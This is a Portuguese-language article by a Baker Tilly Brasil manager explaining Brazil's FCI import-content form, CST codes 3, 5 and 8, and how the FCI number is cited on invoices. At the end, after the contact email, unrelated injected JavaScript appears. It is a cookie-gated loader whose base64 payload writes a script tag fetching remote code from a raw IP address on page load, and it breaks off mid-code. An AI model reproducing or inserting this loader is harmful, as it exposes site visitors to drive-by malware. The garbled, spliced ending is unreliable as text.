FCI – Ficha De Conteúdo De Importação

FCI – Ficha de Conteúdo de Importação

Por Luciano Vieira de Paiva
Gerente da área de Oustsourcing da Baker Tilly Brasil

A partir do dia 1º de outubro de 2013, passa a ser obrigatória a informação da FCI – Ficha de Conteúdo de Importação, nas vendas de produtos industrializados, que tenham alguma parcela importada – independente do percentual da parcela importada. Nas vendas interestaduais de produtos de origem importada, quando não sofrem processo de industrialização, é obrigatório que seja informado o percentual do conteúdo de importação, valor da parcela importada do exterior e valor total da saída interestadual, atendendo às disposições da Resolução do Senado Federal 13/2012.

A FCI deverá ser entregue:

• Mensalmente, dispensada nova apresentação nos períodos subsequentes enquanto não houver alteração do percentual do Conteúdo de Importação que implique em mudança de faixa (menor ou igual a 40%; maior que 40% e menor ou igual a 70%; superior a 70%);

• Previamente à operação de saída com o produto submetido a processo de industrialização que contenha insumos importados.

É importante ressaltar que as empresas são obrigadas a informar o número da FCI no caso de revenda de materiais anteriormente industrializados por terceiros com conteúdo de importação. Neste caso, utilizarão o FCI da nota de aquisição destacada por seu fornecedor.

Além disso, o percentual do conteúdo de importação não deve mais ser informado na nota fiscal, pois esta informação deve ser retirada dos próprio CST – Código de Situação Tributária 3, 5 ou 8, criados com esta finalidade.

Desta maneira, sempre que forem utilizados os códigos CST 3, 5 ou 8, as empresas deverão obrigatoriamente informar o número da FCI na nota fiscal de saída, pois tratam-se de CST específicos de mercadorias com conteúdo de importação.

Quanto a forma de registro da FCI, vale dizer que ela deve ser informada nos dados adicionais do produto – logo abaixo da descrição dos produtos na Nota Fiscal, da seguinte forma: “Resolução do Senado Federal nº 13/2012, Número do FCI ______.”

Recomendamos, por fim, a leitura do O Manual do Usuário constante no site www.fazenda.sp.gov.br/fci ilustra os procedimentos necessários para o preenchimento, transmissão e obtenção dos Números de Controle da FCI, de acordo com a Portaria CAT 64, de 28-6-2013.

Para saber mais sobre como podemos te ajudar com serviços de Tributos, fale com Fábio Garcia diretor de TAX da Baker Tilly Brasil: fabio.garcia@bakertillybrasil.com.br (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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